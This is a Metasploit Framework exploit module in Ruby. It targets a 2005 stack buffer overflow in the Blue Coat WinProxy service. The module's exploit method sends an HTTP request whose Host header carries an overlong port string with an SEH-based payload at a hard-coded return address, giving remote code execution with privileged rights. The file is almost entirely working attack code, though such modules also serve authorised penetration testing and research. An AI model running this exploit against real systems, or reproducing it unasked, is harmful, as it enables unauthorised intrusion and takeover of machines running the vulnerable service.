##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Blue Coat WinProxy Host Header Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the Blue Coat Systems WinProxy
				service by sending a long port value for the Host header in a HTTP
				request.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2005-4085'],
					['OSVDB', '22238'],
					['BID', '16147'],
					['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Jan 5 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)

	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit  = "GET / HTTP/1.1" + "\r\n"
		sploit += "Host: 127.0.0.1:"
		sploit += rand_text_english(31, payload_badchars)
		seh  = generate_seh_payload(target.ret)
		sploit[23, seh.length] = seh
		sploit += "\r\n\r\n"

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end